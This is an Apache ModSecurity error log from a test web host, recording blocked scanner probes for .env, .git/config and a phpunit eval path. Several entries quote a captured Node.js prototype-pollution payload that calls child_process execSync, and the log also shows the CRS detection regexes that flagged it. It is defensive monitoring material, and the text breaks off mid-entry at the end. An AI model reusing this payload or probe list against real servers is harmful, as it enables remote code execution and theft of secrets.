[Thu Dec 18 06:21:39.907890 2025] [:error] [pid 813018] [client 178.128.207.138:50006] [client 178.128.207.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUOPY0BkfFvq8O6HEbsoPgAAAAI"]
[Thu Dec 18 06:21:39.908056 2025] [:error] [pid 813018] [client 178.128.207.138:50006] [client 178.128.207.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUOPY0BkfFvq8O6HEbsoPgAAAAI"]
[Thu Dec 18 06:21:40.905497 2025] [:error] [pid 813020] [client 178.128.207.138:50014] [client 178.128.207.138] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUOPZAYcu7B8Gvtr6mOgDAAAAAQ"]
[Thu Dec 18 06:21:40.905753 2025] [:error] [pid 813020] [client 178.128.207.138:50014] [client 178.128.207.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUOPZAYcu7B8Gvtr6mOgDAAAAAQ"]
[Thu Dec 18 06:21:40.905916 2025] [:error] [pid 813020] [client 178.128.207.138:50014] [client 178.128.207.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUOPZAYcu7B8Gvtr6mOgDAAAAAQ"]
[Thu Dec 18 06:21:42.908214 2025] [:error] [pid 813018] [client 178.128.207.138:50018] [client 178.128.207.138] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUOPZkBkfFvq8O6HEbsoPwAAAAI"]
[Thu Dec 18 06:21:42.908454 2025] [:error] [pid 813018] [client 178.128.207.138:50018] [client 178.128.207.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUOPZkBkfFvq8O6HEbsoPwAAAAI"]
[Thu Dec 18 06:21:42.908627 2025] [:error] [pid 813018] [client 178.128.207.138:50018] [client 178.128.207.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUOPZkBkfFvq8O6HEbsoPwAAAAI"]
[Thu Dec 18 07:58:19.205219 2025] [authz_core:error] [pid 813016] [client 128.199.182.152:44674] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu Dec 18 07:58:22.374718 2025] [:error] [pid 813218] [client 128.199.182.152:44696] [client 128.199.182.152] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUOmDp5vyU4YKdXrlw0wKQAAAAY"]
[Thu Dec 18 07:58:22.374943 2025] [:error] [pid 813218] [client 128.199.182.152:44696] [client 128.199.182.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUOmDp5vyU4YKdXrlw0wKQAAAAY"]
[Thu Dec 18 07:58:22.375096 2025] [:error] [pid 813218] [client 128.199.182.152:44696] [client 128.199.182.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUOmDp5vyU4YKdXrlw0wKQAAAAY"]
[Thu Dec 18 07:58:23.416557 2025] [:error] [pid 813019] [client 128.199.182.152:57538] [client 128.199.182.152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUOmDzZTDxRxH4PwP3ShOwAAAAM"]
[Thu Dec 18 07:58:23.416881 2025] [:error] [pid 813019] [client 128.199.182.152:57538] [client 128.199.182.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUOmDzZTDxRxH4PwP3ShOwAAAAM"]
[Thu Dec 18 07:58:23.417121 2025] [:error] [pid 813019] [client 128.199.182.152:57538] [client 128.199.182.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUOmDzZTDxRxH4PwP3ShOwAAAAM"]
[Thu Dec 18 07:58:25.505954 2025] [:error] [pid 813020] [client 128.199.182.152:57552] [client 128.199.182.152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUOmEQYcu7B8Gvtr6mOgKAAAAAQ"]
[Thu Dec 18 07:58:25.506177 2025] [:error] [pid 813020] [client 128.199.182.152:57552] [client 128.199.182.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUOmEQYcu7B8Gvtr6mOgKAAAAAQ"]
[Thu Dec 18 07:58:25.506324 2025] [:error] [pid 813020] [client 128.199.182.152:57552] [client 128.199.182.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUOmEQYcu7B8Gvtr6mOgKAAAAAQ"]
[Thu Dec 18 12:02:26.326069 2025] [:error] [pid 813016] [client 54.186.33.95:33534] [client 54.186.33.95] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUPfQtoXgPZsLH_wMFNywAAAAAA"]
[Thu Dec 18 12:02:26.326635 2025] [:error] [pid 813016] [client 54.186.33.95:33534] [client 54.186.33.95] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUPfQtoXgPZsLH_wMFNywAAAAAA"]
[Thu Dec 18 12:02:26.327650 2025] [:error] [pid 813016] [client 54.186.33.95:33534] [client 54.186.33.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUPfQtoXgPZsLH_wMFNywAAAAAA"]
[Thu Dec 18 12:02:26.327835 2025] [:error] [pid 813016] [client 54.186.33.95:33534] [client 54.186.33.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUPfQtoXgPZsLH_wMFNywAAAAAA"]
[Thu Dec 18 13:33:03.793103 2025] [:error] [pid 813019] [client 13.220.236.15:46186] [client 13.220.236.15] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUP0fzZTDxRxH4PwP3ShcQAAAAM"]
[Thu Dec 18 13:33:03.793561 2025] [:error] [pid 813019] [client 13.220.236.15:46186] [client 13.220.236.15] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUP0fzZTDxRxH4PwP3ShcQAAAAM"]
[Thu Dec 18 13:33:03.794468 2025] [:error] [pid 813019] [client 13.220.236.15:46186] [client 13.220.236.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUP0fzZTDxRxH4PwP3ShcQAAAAM"]
[Thu Dec 18 13:33:03.794648 2025] [:error] [pid 813019] [client 13.220.236.15:46186] [client 13.220.236.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUP0fzZTDxRxH4PwP3ShcQAAAAM"]
[Thu Dec 18 20:23:24.151315 2025] [:error] [pid 818376] [client 170.64.170.252:41262] [client 170.64.170.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aURUrBWJKGaZU9_BP4nQhwAAAAs"]
[Thu Dec 18 20:23:24.151561 2025] [:error] [pid 818376] [client 170.64.170.252:41262] [client 170.64.170.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aURUrBWJKGaZU9_BP4nQhwAAAAs"]
[Thu Dec 18 20:23:24.151733 2025] [:error] [pid 818376] [client 170.64.170.252:41262] [client 170.64.170.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aURUrBWJKGaZU9_BP4nQhwAAAAs"]
[Thu Dec 18 20:23:24.616473 2025] [authz_core:error] [pid 818376] [client 170.64.170.252:41262] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[Thu Dec 18 20:23:24.848494 2025] [authz_core:error] [pid 818376] [client 170.64.170.252:41262] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/laravel-filemanager
[Thu Dec 18 20:23:25.321974 2025] [:error] [pid 818376] [client 170.64.170.252:41262] [client 170.64.170.252] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "662"] [id "920340"] [msg "Request Containing Content, but Missing Content-Type header"] [severity "NOTICE"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aURUrRWJKGaZU9_BP4nQjAAAAAs"]
[Thu Dec 18 20:23:26.030736 2025] [:error] [pid 818376] [client 170.64.170.252:41262] [client 170.64.170.252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aURUrhWJKGaZU9_BP4nQjwAAAAs"]
[Thu Dec 18 20:23:26.030987 2025] [:error] [pid 818376] [client 170.64.170.252:41262] [client 170.64.170.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aURUrhWJKGaZU9_BP4nQjwAAAAs"]
[Thu Dec 18 20:23:26.031196 2025] [:error] [pid 818376] [client 170.64.170.252:41262] [client 170.64.170.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aURUrhWJKGaZU9_BP4nQjwAAAAs"]
[Thu Dec 18 22:46:36.078053 2025] [:error] [pid 828109] [client 204.76.203.25:38476] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUR2PAsmzZ6b_pJ2zxSpTAAAAAU"]
[Thu Dec 18 22:46:36.078310 2025] [:error] [pid 828109] [client 204.76.203.25:38476] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUR2PAsmzZ6b_pJ2zxSpTAAAAAU"]
[Thu Dec 18 22:46:36.078479 2025] [:error] [pid 828109] [client 204.76.203.25:38476] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUR2PAsmzZ6b_pJ2zxSpTAAAAAU"]
[Fri Dec 19 00:49:56.515935 2025] [:error] [pid 831335] [client 167.71.58.65:56718] [client 167.71.58.65] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, 